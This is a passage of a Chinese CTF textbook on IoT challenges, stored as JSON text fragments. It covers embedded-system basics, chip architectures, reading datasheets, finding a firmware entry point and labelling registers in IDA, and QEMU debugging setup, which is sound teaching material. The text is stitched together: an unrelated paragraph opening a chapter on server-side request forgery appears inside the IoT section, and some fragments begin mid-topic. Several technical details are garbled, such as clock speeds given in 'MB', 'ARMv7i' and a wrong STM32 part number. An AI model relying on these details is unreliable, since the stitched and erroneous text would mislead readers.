在本篇中，你将学习到在解决IoT类题目时要用到的一些必要的基础知识，在CTF竞赛当中此类题目的应对办法和技巧，以及一些与无线电通信相关的题目的应对技巧，最后还有一些实例讲解，帮助大家培养解决IoT相关题目的能力。 另外，本节所涉及的大部分例题，都可以在笔者开发的一个OJ平台上找到，大家如果对平台上的其他题目感兴趣，也可以在上面练习，OJ平台地址为： https://www.jarvisoj.com/ 。"},
    {"text": "未知 第26章 IoT基础知识 本章不打算对IoT的背景进行详细的介绍，一是因为IoT是一个面向应用场景的领域，场景错综复杂，若要讲清楚，其篇幅将远远超过本书所能接受的范围。二是因为在CTF竞赛中我们并不需要去了解过多的细节，了解太多的信息有时会适得其反。因此，本章将挑选一些有必要的以及科普性质的内容为读者做一个简要介绍，读者只需要大致理解IoT的作用及用法即可，无须对其中的技术名词进行深究，重在掌握解题方法，而非其概念。 未知 26.1 什么是IoT 之前我们已经提到过，IoT安全的本质是以嵌入式系统为基础的传感器网络上的安全问题，包括车联网、传感器网络、工控网络等。简单地说，物联网可以看作是一类特殊的网络，相比传统的互联网，功能简化很多，但数据交互的次数要比传统的互联网更加频繁。其核心可以看成是由传感器技术、RFID技术、嵌入式系统技术这三大技术所组成的一个复杂系统。 · 传感器技术： 计算机应用中的关键技术。大家都知道，到目前为止，绝大部分计算机处理的都是数字信号，需要传感器将模拟信号转换成数字信号，这样计算机才能处理。 · RFID标签： 也是一种传感器技术，RFID技术是融合了无线射频技术和嵌入式技术的综合技术，在自动识别、物品和物流管理方面有着广阔的应用前景。 · 嵌入式系统技术： 是综合了计算机软硬件、传感器技术、集成电路技术、电子应用技术的复杂技术。基于嵌入式系统的智能终端产品随处可见，小到遥控器，大到卫星系统。嵌入式系统正在改变着人们的生活，推动着工业生产以及国防工业的发展。 如果将物联网比作人体，那么传感器就相当于是人的眼睛、鼻子、皮肤等感官，接收到信息后要进行分类处理，而承担数据处理工作的就是嵌入式系统。这个例子很形象地描述了传感器、嵌入式系统在物联网中的位置与作用。图26-1展示了物联网各大技术之间的关系。 图26-1 IoT领域各大技术之间的关系 说了这么多，大家对IoT应该有了一个大致的了解，我对IoT的定义：IoT就是一类以嵌入式系统为基础，承担主要用于数据感知与收集（传感器）、控制指令传送的一种低功耗、协议简化的无线通信网络。 根据以上定义，就可以比较清晰地将IoT与传统互联网相互区分开来。传统互联网要求高度互联，数据传输可靠，数据传送量大，大多使用大型服务器和交换设备作为基础设施，多为星形网络，数据中心化。而IoT则与之相反，组成IoT的设备大多为处理能力较弱的低功耗设备、微控制器，网络更偏向于网格化，每个节点作为数据源的同时也会承担数据转发工作，整体组网比较自由，容错能力较强，传输数据量比互联网要小很多，但数据实时性会比互联网更好。 未知 26.2 什么是嵌入式系统 什么是嵌入式系统呢？简单地说，嵌入式系统就是一类具有完整计算能力的单板系统或者片上系统（SoC）。经常单独使用，或者以组件的形式作为一个庞大系统的一部分，处理一些特定的工作。下面列举一些生活中的例子，手机、摄像头、空调、汽车以及PC等常见的电子产品都含有嵌入式系统，可谓无处不在。嵌入式系统的中流砥柱要数微控制器和DSP了，前者负责逻辑控制工作，后者负责数据的处理（主要是浮点数的处理）。这里可以不夸张地说，离开了微控制器，一切电子设备都将无法正常工作。 当然，嵌入式系统存在的范围不只是在我们看得到的地方，在许多我们看不到的地方，比如卫星、导弹、月球车等航天军事方面，也有大量的应用，可以说，嵌入式系统撑起了整个电子世界。既然嵌入式系统如此重要，那么它的安全问题势必更为重要。虽然事实如此，可是嵌入式系统上的安全直到近几年才开始慢慢被行业所关注，而且安全问题日益凸显，从这里可以看出，IoT安全将会成为其中的第一个爆发点。"},
    {"text": "未知 26.3 嵌入式系统的基本概念 嵌入式系统常被用于底层信号和逻辑的处理，要理解其原理，需要大量的硬件和逻辑电路的知识，包括模拟电路和数字电路，甚至还包括控制理论、电力电子、无线通信的相关知识。"},
    {"text": "本书不希望为读者增加太多前置知识方面的负担，毕竟本书只是一本CTF比赛用书，知识够用即可，因此接下来讲解一些基本的概念，知道这些概念，在今后的学习中若有需求，可以自己去寻找相应的资料。"},
    {"text": "模拟信号： 又称原始信号，即域上连续的信号，可以将其简单理解为实际电压的变化信号，交流电就是最常见的模拟信号。 其特点是，模拟信号是物理世界的一个变化的电信号，无法被计算机系统储存以及理解，只能使用模拟器件进行运算和处理。 数字信号： 又称采样信号，即通过一定间隔对模拟信号在某些特定时刻的值进行测量，并用二进制表示，会得到一串数列，而该数列可以在一定程度上反映原始信号的特点，但它是离散的。 两个时刻之间的某个点的模拟信号值我们并不知道，也就是说，丢失了部分模拟信号的信息，但使得模拟信号的特征可以在一定程度上被计算机存储以及处理了。"},
    {"text": "单片机： 单片微型计算机的简称，专业名称为微控制器，本质是在单硅片上集成内核、SRAM，ROM或FLASH，以及一些外围逻辑控制器（例如UART、SPI、GPIO等总线设备）所组成的一个拥有较完整处理能力的芯片。 而此类芯片，我们一般不称之为CPU，而称其为MCU，即Microcontroller Unit。 由于单片机厂商较多，内核指令集各不相同，市场占有率也大有区别，当今最有名的要数Intel 8051单片机了，被各大高校的单片机教材所采用。 另外，常见的还有Atmel公司推出的AVR系列单片机，ARM公司推出的Cortex M系列单片机，Microchip公司的PIC单片机。"},
    {"text": "固件： 所谓固件（firmware），当然是固化的，无法修改，一般是指单片机中固化的程序，一般只读不写，主要包含了单片机运行的程序代码和运行所需的数据。 当然，固件可以存储在单片机内部的片上存储区，也可以存储在片外单独的存储芯片上，与硬盘上的数据的主要区别是，固件只读不写，出厂即固化完毕，除了特殊需要，正常使用过程中都不会对固件进行修改。"},
    {"text": "DSP： 数字信号处理/数字信号处理器。 由于数字信号处理技术的不断发展，嵌入式设备经常要处理一些常用的如积分变换、数字滤波等需要大量浮点运算的工作，而DSP就是一种从硬件来对此类算法进行加速，浮点处理能力更强的芯片。"},
    {"text": "嵌入式处理器： 现在又被称为应用处理器（Application Processor），个人认为叫应用处理器更贴切一些。 最开始是因为在嵌入式系统中有类似于PC的应用需求，比如液晶屏显示、触摸、音频等没有经过调制的功能，需要大量的计算资源，而当时MCU的计算能力都被用于处理接口通信数据，而处理数据的能力已经所剩无几，所以才有了这种应用处理器，用于应用层的计算工作。"},
    {"text": "基带： 原指基本频带，即信源发出的没有经过调制的原始电信号（可以是数字信号，也可以是模拟信号）的固有频宽。 随着数字调制技术的发展，现在通信行业所指的基带是一类能够进行数字调制并产生原始数字信号的处理模块、芯片或软件。"},
    {"text": "学会寻找并阅读数据表是一个电子工程师应该具备的最基本能力，也是必须掌握的技能，甚至是解答IoT类题目的关键所在，所以这里强烈建议读者养成阅读数据表的好习惯。"},
    {"text": "举个简单的例子，比如，我想计算1+1，如果通过软件实现，那么CPU需要通过前面所说的5个步骤才能得到结果，每个步骤都会花费至少微秒级的时间。 如果用逻辑实现一个加法器，然后在输入端加上对应的电平，那么输出端会在纳秒级时间内就得到一个结果，这就是为什么硬件加速会比软件快很多的原因。"},
    {"text": "一般是先在FPGA上实现要完成的电路并进行测试，测试完毕后才会进行实际生产。 也就是说，目前大家能买到的CPU都是在FPGA上进行过方案验证的。 虽然FPGA可以实现一样的功能，但是由于其灵活性，成本必然比ASIC要高，所以更多的时候只是作为方案验证使用。 当然，对于个别需要逻辑可修改的场合，比如SSD的主控器，还是会直接使用FPGA的。"},
    {"text": "根据傅立叶分解原理，复杂的信号总可以分解为有限或无穷多个正弦信号的叠加，通过分析这些正弦信号的成分，就可以了解原信号的特征，是一种重要的研究手段和分析工具。"},
    {"text": "无线传感器网络（WSN） ：是一种分布式传感网络，是由传感器节点通过无线电组织形成的多跳自组织网络。 WSN中的传感器通过无线方式通信，因此网络设置比较灵活，设备位置可以随时更改，还可以与互联网进行有线或无线方式的连接。"},
    {"text": "未知 第4章 服务端请求伪造 很多Web应用都提供了从其他的服务器上获取数据的功能，根据用户指定的URL，Web应用可以获取图片、下载文件、读取文件内容等。这种功能如果被恶意使用，将导致存在缺陷的Web应用被作为代理通道去攻击本地或远程服务器。这种形式的攻击被称为服务端请求伪造攻击（Server-side Request Forgery，SSRF）。 未知 26.4 CTF中常见的IoT题型归类 前面说了那么多，我相信有些读者可能摸不着头脑，没关系，可以继续往后看，结合后面要讲述的知识，大家可以更快掌握本书想要表达的内容。在本节中，我们将CTF中可能涉及的IoT类赛题进行归类，并各个击破，帮助大家轻松攻克此类赛题。 逆向工程： 此类赛题最常见，也是难度比较高的。题目往往涉及一些单片机或者嵌入式处理器的固件，还有极少的题目可能会将基带固件抑或是FPGA的逻辑出作逆向，由于嵌入式处理器的架构繁多，同一架构下不同型号的产品还会存在细微差别。作为一个初学者，很难在短时间内熟练掌握那么多不同的汇编指令系统，所以此类题比较难，也是最重要的一类。 漏洞利用（PWN）： 由于Linux、Android、Windows CE在嵌入式环境中的大量使用，原来在x86 Windows/Linux上的漏洞利用方法也可以方便地迁移到嵌入式环境中，只是由于架构不同，细节上的处理会略有不同而已。虽然嵌入式系统的架构层出不穷，但大多数处理能力较弱，并不能很容易地支持TCP/IP，因此这部分可以出成PWN题目的限制就会比较多。从目前的情况看来，这类题目大多都集中在网络功能比较成熟的ARM-Linux和MIPS-Linux这两个平台上，不确定以后会出哪些新类型，但由于各种限制，CTF题目的发挥空间还是较小，所以此类题目的解题方法相对比较明确，所需要做的就是掌握一般PWN类型题目的技巧。 取证（forensic）： 比较常见的题目是提供一个嵌入式系统的固件，让你分析并提取其中的有用信息，例如管理员密码和后门账户等。这类题目的解题方法相对比较固定，大部分情况下只要了解固件的结构即可。 协议分析（MISC）： 此类题目一般需要分析一些无线传感器网络的数据包格式，比如胎压传感器的数据包格式。大致解题思路是通过diff推测数据包的每个字节的大致含义，从而推断出大致的协议。这类题目往往还会让你去伪造某个条件的数据包，或者提供一系列数据包让你去找出其中伪造的数据包。当然，这类题目的难点主要在于某些校验位可能使用了CRC或另外的特定算法，因此并不容易伪造。 无线信号分析： 这类题目的解题思路是最明显的，但要求选手有无线通信相关领域的专业知识。题目一般会提供一段无线通信的原始波形，让选手分析出这段信号所传输的内容。考过的类型有简单的ASK、FSK调制的无线信号解调，抑或复杂的4G通信的原始信号。显然，此类题目既可以比较容易，也可以专业性非常强，如果出现专业性很强的题目，就需要选手具有熟练的专业知识。因此，这类题目也可以是最难的，是对基础知识的掌握程度要求最高的一类题目。 未知 第27章 IoT固件逆向工程 在本章中，我们开始介绍目前CTF中关于IoT的解题技巧，即IoT固件的逆向工程相关的技巧。此类题目往往会提供一个IoT设备的固件让选手分析，完成题目所要求的任务，而对于所给固件，在很多情况下并不是像我们常见的x86机器上Windows或者Linux系统下的程序（即ELF程序）一样可以直接被IDA自动识别并分析，而是一个对于IDA看来完全未知的binary文件，此时IDA无法自动分析，需要我们手动让IDA识别代码和数据，这当中包括非常多的技巧。 另外，IoT设备所使用的架构并非传统安全所熟悉的x86或x86-64汇编，这当中又包含了许多没有听说过的架构，对于这类CPU架构的汇编以及固件的组织形式，参赛选手往往都是比较陌生的，因此这也是一大难点之一。 所以，针对IoT固件的逆向工程，我们需要一些特别的技巧或者工具，在接下来的内容中，笔者将详细展开介绍。"},
    {"text": "未知 27.1 常见IoT架构介绍 目前，在市场上能够见到的单片机架构至少有几十种，每种架构的不同产品又有不同的分支，且对于不同子型号的产品，指令集还会存在细微的差异，对于架构指令集的介绍，不是一本书可以囊括的，这里仅列举出一些比赛中最容易出现的架构。"},
    {"text": "1.ARM ARM 最常见不过，几乎已经深深地融入我们的生活中，90%的手机处理器都使用了该架构，是当之无愧的老大哥。 最有代表性的就是高通骁龙处理器了，其已成为高性能手机必备的标识。"},
    {"text": "ARM家族子架构众多，在ARMv4t架构之前，其主要应用于嵌入式环境、汽车电子等领域。 而从ARMv7i开始，作为ARM第7代架构，根据不同的应用场景，衍生出了Cortex A、Cortex M和Cortex R三种子架构，下面分别对这三种子架构进行介绍。 Cortex A作为高性能旗舰产品的代表，A即Application，也就是前面列举的概念里提到的应用处理器，几乎所有的手机、PDA、平板、路由器都使用了这种架构，其特点是处理能力强，功耗较高，适用于有大量逻辑数据需要处理的场合。"},
    {"text": "Cortex M，M是MCU的意思，也就是说，该架构多用于微控制器，其特点是高性能低功耗，身为32位处理器，其提供了比目前主流的8位、16位MCU更好的性能，同时还很好地兼顾了功耗，使得在每兆赫兹功耗相当甚至更低的情况下，具有高于现有其他MCU的性能。"},
    {"text": "该系列处理器也经过了多次更新换代，最早的Cortex M0发布之时，其功能就令人惊艳，其主频可达40MHz。 而紧随其后的Cortex M3成为Cortex M系列中使用最为广泛的架构72MB的主频，相对低廉的成本，成就了这款性价比最高的架构。 后来发布的还有Cortex M4（F），主频可达168MB，特点是集成了DSP核，使得MCU也可以完成DSP的部分功能，并且集成了FPU，浮点处理能力大大增强，甚至在某些程度上越来越向Cortex A的性能靠拢。 而在2015年发布的Cortex M7架构，主频甚至达到了惊人的400MHz，主要面向物联网和穿戴领域，其性能已超越了早期的Cortex A架构，它甚至可以承担图像处理、高级音频处理、车联网应用的应用级处理工作，同时又具有控制器的控制功能，强大到令人生畏。"},
    {"text": "Cortex-R处理器主要针对高性能实时应用，例如，硬盘控制器（或固态驱动控制器）、企业中的网络设备和打印机、消费电子设备（例如蓝光播放器和媒体播放器），以及汽车应用（例如安全气囊、制动系统和发动机管理）。 Cortex-R系列在某些方面与高端微控制器（MCU）类似，但是，针对的是比通常使用标准MCU的系统还要大型的系统。"},
    {"text": "Cortex-R4主频可以高达600MHz（具有2.45DMIPS/MHz），配有8级流水线，具有双发送、预取和分支预测的功能，以及低延迟中断系统，可以中断多周期操作而快速进入中断服务程序。"},
    {"text": "Cortex-R4还可以与另外一个Cortex-R4构成双内核配置，一同组成一个带有失效检测逻辑的冗余锁步（lock-step）配置，因而非常适合安全攸关的系统。"},
    {"text": "Cortex-R5能够很好地服务于网络和数据存储应用，它扩展了Cortex-R4的功能集，从而提高了效率和可靠性，增强了可靠实时系统中的错误管理。"},
    {"text": "不过，值得注意的是，虽然Cortex-R7具有高性能，但是它并不适合于运行那些特性丰富的操作系统（例如Linux和Android）的应用，Cortex-A系列才更适合这类应用。"},
    {"text": "至于近两年新出的ARMv8也称为Aarch64架构，即64位ARM架构，其衍生架构与ARMv7类似，只不过命名方式不同而已，比如，Cortex A53/A57就是最早上市的ARMv8架构，其指令集也与ARMv7存在较大差异，当然，也不乏追捧者让Aarch64很快地进入Android题目中。"},
    {"text": "但从设计理念来看，虽然是MIPS更加先进，然而受制于工艺和应用场景，优势没有得到很好地发挥，再加上精简指令集对于复杂计算有着先天的不足，处理能力一般，对于现在大量的多应用需求场景，细化流水带来的提升并不明显，因此难免没落。 当然，MIPS也有一个比较显著的优势，由于采用了细化流水的策略，因此应对单线程、计算简单且重复的应用，有着先天的优势，例如，其在网络数据包处理和转发上的能力就明显较强。"},
    {"text": "3.8051 8051是由Intel在1981年设计制造的8位MCU，是现存的为数不多的复杂指令集MCU，由于其架构简单，且Intel将其授权给其他很多公司，因此在8位单片机领域，8051系列及其衍生产品占据了大量的市场份额，有许多公司甚至以其为基础开发了功能更多、更强大的产品。"},
    {"text": "传统单片机（如8051）往往因为工艺及设计水平不高、功耗高和抗干扰性能差等原因，所以采取稳妥方案，即采用较高的分频系数对时钟分频，使得指令周期变长，执行速度变慢。"},
    {"text": "而AVR彻底打破了这种旧设计的格局，废除了机器周期，采用精简指令集，以字作为指令长度单位，将内容丰富的操作数与操作码安排在一字之中，取指周期短，还可以预取指令，实现流水作业，故可高速执行指令。"},
    {"text": "其中，Motorola为PPC的代表性厂商，其产品线有MPC505、821、850、860、8240、8245、8260、8560等近几十种产品，也曾辉煌一时，但由于采用封闭体系和松散联盟体制，最终PowerPC也没能战胜Intel，于是从2005年起，苹果被迫放弃了PPC并转向Intel，从此，PPC在个人电脑领域宣告失败。"},
    {"text": "6.其他架构 以上所介绍的各种架构是在CTF竞赛中出现过的类型，也是目前非常常见的架构，应用广泛，无论是对于竞赛还是安全研究都有长足的意义，但还有一些是比赛中尚未涉及的，在这里做一个简单的科普，以供大家查阅和参考。"},
    {"text": "·PIC32是Microchip公司开发的32位RISC单片机，其指令数量只有33~58条指令，比AVR、8051、ARM都要精简不少，具有高效率的特点，也是使用较为广泛的架构之一。"},
    {"text": "·MSP430是美国德州仪器公司设计的一款超低功耗的8位混合信号处理器（Mixed Signal Processor），其以低功耗著称，同时针对实际应用，将不同功能的模拟电路和数字电路集成在一块芯片上，有着独有的应用场景。"},
    {"text": "·另外值得一提的还有IA64架构，它是Intel设计的纯64位指令集架构，但由于其设计理念过于超前，在推出时遭到了微软的反对，故而还是以没落为结局。"},
    {"text": "未知 27.2 芯片手册的寻找与阅读 工欲善其事，必先利其器，要做好某款芯片的程序逆向，那么首先要对架构特性有所了解，我们都知道，以往的经验大多都以x86/x86-64这两款为人所熟知的架构为主。那么，在这里我想请问一下各位读者都有阅读过Intel的芯片手册（Datasheet）吗？想必答案大多都是否定的，Intel的x86架构大概有几千页的Datasheet，可能读者对于Intel出过Datasheet这件事也未必知晓。当然这对于x86架构的学习并不会构成什么大问题，由于x86是被广泛应用的架构，所以各种大牛整理的资料也已经涵盖了开发中遇到的大部分问题。然而，换作一块嵌入式芯片，那就完全不同了，一来，嵌入式芯片的应用量不会有x86那么大，再者，研究这些芯片的工程师也不会像x86那么多，所以，芯片真正细节的内容，就应该由我们自己去阅读厂商的资料来获得了。本节将介绍如何获得芯片的Datasheet，以及获得Datasheet之后如何阅读。 首先，如何获得Datasheet呢？获得Datasheet的手段有很多，常见的芯片可以通过Google搜索获取到，当然，最好的办法就是去厂商的官网上寻找。以Intel x86的Datasheet为例，可以直接在Intel的官方网站上获得文档，文档名称为“Intel 64 and IA-32 Architectures Software Developer’s Manual”。 为了方便大家寻找Datasheet，这里推荐一个网站—— http://www.alldatasheet.com/ ，这个网站几乎收录了所有公开的芯片Datasheet，只要不是非常冷门或者厂商有意保密的文档，在这上面都可以找到。例如，我们需要找STM32F103这一款Cortex M3内核MCU的，直接搜索即可，搜索结果如图27-1所示。 图27-1 alldatasheet网站搜索结果页面 数字103后面的字母代号表示了不同的子型号，子型号主要用于区分芯片的一些细节信息，比如FLASH大小、RAM大小，以及管脚等的不同，但架构都是相同的，所以对于软件逆向项目，只需要看其中任意一个即可。 获得了Datasheet之后，我们需要去阅读Datasheet，为了能与大家已有的知识相衔接，这里特意列举一个大家熟悉的架构示例来进行分析。前文我们提到了STM32F103这款MCU，当然，实际上这并不是一款MCU，而是一个系列，只不过这个系列的MCU都采用了Cortex M3内核，Cortex M3内核实际上也是ARM架构的一种，而不同的子型号只是在功能外设上有所不同而已，内核还是一样的，所以分析方法大同小异。我们先随便下载一个Datasheet。STM32F103系列中，最为常用的型号是STM32C103CB，所以在alldatasheet网站上，我们直接搜索这个型号即可，然后将相应的Datasheet下载下来。如图27-2所示，单击Download子菜单的链接，就可以将Datasheet的PDF版本下载下来了。 打开Datasheet，我们首先需要关注芯片的引脚定义，如图27-3所示。 图27-2 alldatasheet的下载页面 图27-3 Datasheet中的引脚定义 引脚定义给出了芯片每根引脚的位置以及第一功能和复用功能，在调试中，如果设备有I/O或者外设的通信，就会用到这部分信息了，在实际进行硬件调试时，可以使用逻辑分析仪分析对应管脚的信号，或者解串口调试设备进行调试。当然，在CTF比赛中，实际情况下不会存在调试实际硬件的情况，这些情况下我们普遍会使用模拟器进行调试，所以对I/O引脚具体位置的关注可能并不会太多。当然在这里列举的原因在于这部分内容对于单片机的理解非常重要，也是不容忽视的。 然后是内存映射图，从内存映射图中，我们可以分析出固件加载的位置，以及各个外设所在的内存地址范围，没有这部分内容我们将无法确定程序所加载的基地址，因此在IDA中无法得到正确的反汇编结果。图27-4所示的是一个典型的内存分布图。 图27-4 datasheet中的内存映射图 通过阅读STM32F103的内存分布图，我们重点关注的方面具体如下。首先，我们可以看到Flash Memory的内存范围是0x08000000-0x0801FFFF，这段是什么意义呢？我们都知道单片机的程序是存储在Flash里的，所以Flash的起始地址也就是程序开存放的地址，也是我们使用IDA分析时需要指定的ROM加载地址，只有加载在正确的地址上，才能正确地识别指令。其次是0x20000000开始的SRAM，这部分被称为内存，程序动态执行的变量都会存在该部分。最后要关注0x40000000开始的部分，这部分为外设寄存器映射地址，当程序访问外设寄存器时，会使用这部分地址来访问。 最后，我们还需要了解芯片各个寄存器的地址以及功能，这部分描述了寄存器每个二进制位对应的配置含义，有着重要的作用，例如，可以计算UART的波特率，CPU时钟配置的一个各引脚定时器的状态，都是通过操作寄存器来设定的，因此，上面提到的寄存器读写，要想知道具体完成了什么功能，还要参考这部分内容。而此部分内容较为复杂，原厂并没有直接将这部分内容合并在Datasheet中，而是放在了另一篇汇总文档中。文档的名称是“Cortex-M3 programming manual”，大家可以自行参考，此外，这篇文档也不仅仅只适用于此款芯片，因为架构的共性，对于STM32F10xxx/20xxx/21xxx/L1xxxx这么多系列都是适用的，大家在阅读和寻找参考资料时，也需要注意。"},
    {"text": "未知 27.3 使用IDA手动寻找固件入口点 通过阅读STM32F103芯片的Datasheet，我们已经了解到了分析所需要的必要信息，接下来以STM32F103的程序为例来简单分析下。在分析的最开始，先要寻找入口点，入口点标识着程序开始执行的位置，也是入手的关键。这里给出的例子的地址是 https://www.jarvisoj.com （Confused ARM）。程序是一个Intel hex格式的STM32程序，IDA可以直接识别并加载基地址，所以这里不存在固件基地址分析的问题，那么我们接下来就来分析这个题目。 首先，我们需要用IDA加载这个hex文件，在加载之前需要注意的是，在Load a New File界面，Processor type要选择ARM Little-endian[ARM]，这一步比较关键，因为Intel hex格式的文件并不包含目标CPU的信息，所以最好自己指定，以方便分析，如图27-5所示。 图27-5 IDA加载Intel hex格式文件的界面 点击确定后，IDA会自动完成分析，由于Intel hex格式的程序中会包含基地址信息，所以IDA能够将程序加载到正常的基地址，因此只需要选对CPU即可。加载后的界面如图27-6所示。 图27-6 IDA加载Intel hex文件后的界面 注意，IDA已经成功识别到程序加载到的基地址是0x08000000，与我们之前Datasheet所指的Flash存储区基地址相吻合，那么，程序是从哪个地址开始执行的呢？注意任何单片机在上电或者Reset的时候，都会事先进入Reset Handler去执行Reset代码，所以我们只需要找到Reset向量的位置即可，也就是Reset Handler的位置。可以看到，程序在开头定义了一些DCD，这部分并没有被IDA识别成代码，而事实上这部分也确实并非代码，IDA在这方面还是比较智能的。下面简单整理一下这些数据，如图27-7所示。 图27-7 固件起始地址处的数据 我们先看第一个0x20000730，从前面的memory map中可以看出来，这部分是SRAM的地址。那么究竟是什么的地址呢？这里介绍一些常识，在与硬件相关的程序中，一般都会定义一些中断向量的位置，Reset也是其中一个中断向量，在复位时，硬件会自动将PC设置为Reset的地址，而其他就是一些定时器、外设的中断向量位置。这个表就称为中断向量表。所以，分析以0x08000000位置开始的内容是中断向量表。那么在这张表中势必会包含Reset向量的位置。首先，Reset代码不可能在SRAM区域中，那么第一个地址0x20000730，不可能为Reset向量的位置。接着再来看第二个地址0x8000101，这个地址是所有地址里面最低的地址，最有可能是Reset向量的位置，我们到该地址处将数据转换成代码。这里还有一个需要注意的点，那就是这个地址的最低位是1，这也就暗示着实际地址为0x8000100+1，表示实际地址为0x8000100，且指令集为Thumb。所以我们需要先按Alt+G将T寄存器值修改为1以将该段代码注释为CODE16，然后直接在0x8000100地址处按C将数据转换为指令即可。最后结果如图27-8所示。 图27-8 将数据转为指令之后的效果 可见，IDA识别出了附近的函数调用，其中有意思的是loc_80000EC这个位置，显然，这里设定了SP的值，也就是设定了堆栈指针的位置为0x20000730，这个值是不是似曾相识？没错，在Flash起始地址的值就是该值，它表明了初始堆栈指针的位置。看到这里，应该很明显了，0x08000100地址确实就是整个程序的入口点，也即Reset向量的位置，在该位置处的代码，设定了一系列初始化操作（在sub_8000A00中），以及初始堆栈指针，最终跳至loc_8000188执行。至此，我们已经找到了程序的入口点，可以进行进一步的分析了。 寻找入口点的关键步骤总结如下：①用IDA加载程序，选择正确的CPU；②找到中断向量表，寻找其中地址最小的指针；③跳至该指针处，若IDA未能正确识别代码，则手动将该处数据转为指令（对于ARM，需要自行确定该处是ARM还是THUMB指令集）。"},
    {"text": "未知 27.4 寄存器地址和SRAM地址的处理方法 继续分析上节的例子，我们可以看到0x080000F6处有一个比较大的跳转，一直跳转到了0x8001084，可以猜测跳转到的就是main函数，跟踪进去看一下，如图27-9所示。 图27-9 固件main函数的位置 由图27-9可以看到，跳转处有一些字符串的操作，判断跳转到的是main函数，然后进行验证。这里有几个地方十分显眼，那就是以0x40000000开头的地址和0x20000000开头的地址，从前面的memory map中我们了解到，前者是特殊功能寄存器的基地址，而后者是SRAM的起始地址。接下来再来看看伪代码，如图27-10所示。 图27-10 main函数的伪代码 程序中频繁调用了这些寄存器和内存地址，那么现在问题来了，既然这些地址都是具有特殊意义的，在程序中也经常被访问，但以这种格式显示，并不便于我们分析。所以下面，我们将介绍一些处理这些地址的技巧。 首先，如果我们要将操作数转为Offset，那么首先需要添加一个对应地址段的segment，因为程序在加载时只识别了以0x08000000开始的segment，所以我们要手动添加以0x40000000开头的segment，添加方法为：[Edit]-[Segments]-[Create segment…]，这里的设置如图27-11所示。 图27-11 添加segment界面 其中，End address需要尽可能大，涵盖memory map中所关心的寄存器地址范围即可，但也不宜过大，否则IDA容易卡。点击OK按钮之后，segment就加上了。然后，我们将鼠标放在0x40013800这个数上，按O键，数据就被转换为对应的offset了，如图27-12所示。 图27-12 将数据转换为指针的效果 当然，我们还可以更进一步，将unk_40013800改为寄存器的名字，从memory map中，我们查到0x40013800地址为USART1的基地址，所以这里就将其名字改为USART1，右击rename即可，如图27-13所示。 图27-13 修改地址名字界面 向SRAM的地址0x20000000添加segment的方法与此同理，这里不再赘述。全部添加完毕后，我们再看一下反编译窗口，如图27-14所示。 图27-14 修改地址名字后的效果 更进一步的，我们还可以将连续的存储区域改为数组，以及通过一些较为明显的函数可以将其改为猜测的名称，于是程序又变成了如图27-15所示的样子。 图27-15 经过寄存器识别后的伪代码 这样一来，我们就处理好了特殊功能寄存器以及RAM的地址范围，接下来，我们的分析就容易多了。 未知 27.5 IDA之CPU高级选项 继续上面的例子，我们知道，ARM的架构有许多种，IDA虽然可以在一定程度上智能地选择合适的子架构来分析代码，但要想达到最好的分析效果，我们最好指定最精确的属性。如图27-16所示，我们在Processor type选择ARM后，单击右侧的Set按钮，使CPU设置生效，同时，右侧还有一个Processor options按钮，这个就是CPU的高级选项了，下面我们打开来看一下。打开后的界面如图27-17所示。 图27-16 CPU高级选项的进入位置 在弹出的界面里，继续点击Edit ARM architecture options按钮，接下来会弹出如图27-18所示的对话框。 图27-17 CPU高级选项界面 图27-18 CPU架构选项 在前面的介绍中，我们知道，Cortex M架构属于ARMv7-M，而默认的CPU选项是any，即IDA会根据实际情况进行智能分析，那么我们这次就直接选择ARMv7-M，看看IDA将如何做出分析。选择后确认，我们再到入口点0x8000100处看一下，如图27-19所示。 图27-19 修改CPU具体架构之后的效果 我们将会很惊喜地发现，IDA已经正确识别了入口点，并且针对Cortex M的Thumb-2指令集做出了十分准确的分析。这样就能节省不少分析步骤。剩下的分析，就与正常的逆向工程一样了。"},
    {"text": "未知 27.6 动态调试环境搭建 在前面的章节中，我们讲到了使用IDA分析嵌入式固件的一些技巧，属于静态分析的范畴，但是在大多数情况下，我们需要动态调试指定的程序，一般会使用与目标程序相同CPU的设备进行真机调试。但比赛中很多情况都是难以预料的，我们也不可能同时准备如此多的设备，于是，在软件仿真环境下调试也是我们必须掌握的技巧之一。本节将介绍一些常见的调试环境及工具。 1.Linux类环境 诸如ARM-Linux、MIPS-Linux这类基于GNU/Linux操作系统的可执行文件，一般都可以使用基于Debian的环境。Qemu是一个多架构虚拟化系统，里面包括所有常见架构的虚拟化环境，而Debian官方出了一套基于Qemu针对不同架构CPU的镜像，所以可以十分方便地下载到（下载地址为 https://people.debian.org/~aurel32/qemu/ ）。 Debian官方除了提供最常见的i386/x86_64架构的虚拟化Debian系统以外，还提供了armel、armhf、mips、mipsel、PPC、sh4、sparc等架构，几乎涵盖了使用Linux系统的所有CPU类型。Debian还很有特色地提供了FreeBSD系统的虚拟机，不过，只有i386和x86_64平台的。每种架构的页面上都有镜像的使用说明，但是为了方便初学者参考，这里以mipsel为例，这里列举几个镜像，依次简单说明。 ·文件系统（squeeze发行版）：debian_squeeze_mipsel_standard.qcow2 ·内核2.6.32（32位）：vmlinux-2.6.32-5-4kc-malta ·内核2.6.32（64位）：vmlinux-2.6.32-5-5kc-malta ·文件系统（wheezy发行版）：debian_wheezy_mipsel_standard.qcow2 ·内核3.2.0（32位）：vmlinux-3.2.0-4-4kc-malta ·内核3.2.0（64位）：vmlinux-3.2.0-4-5kc-malta 对于版本的选择，大家可以根据自己的需要来选择32位或64位系统，以及Debian的发行版本。推荐大家使用Linux系统启动，需要事先完整安装qemu，这里以32位3.2.0内核和wheezy发行版为例进行说明，启动方法如下： qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append \"root=/dev/sda1 console=tty0\" -redir tcp:23946::23946 -redir tcp:10022::22 在启动命令行中，转发了2个端口，23946和22，虚拟机默认开启了ssh服务，所以只需ssh本机的10022端口即可。23946端口可用于远程gdb或者通过IDA的dbg_server进行调试，当然端口名称可以自己选择，默认用户名密码为root/root。 对于ARM架构的虚拟机，使用方法类似，只是在启动虚拟机时，“-M”参数不同以及ARM-Linux需要指定initrd的区别，读者可以根据网站上的说明自行尝试。 2.裸机环境（无操作系统） 针对之前Confused 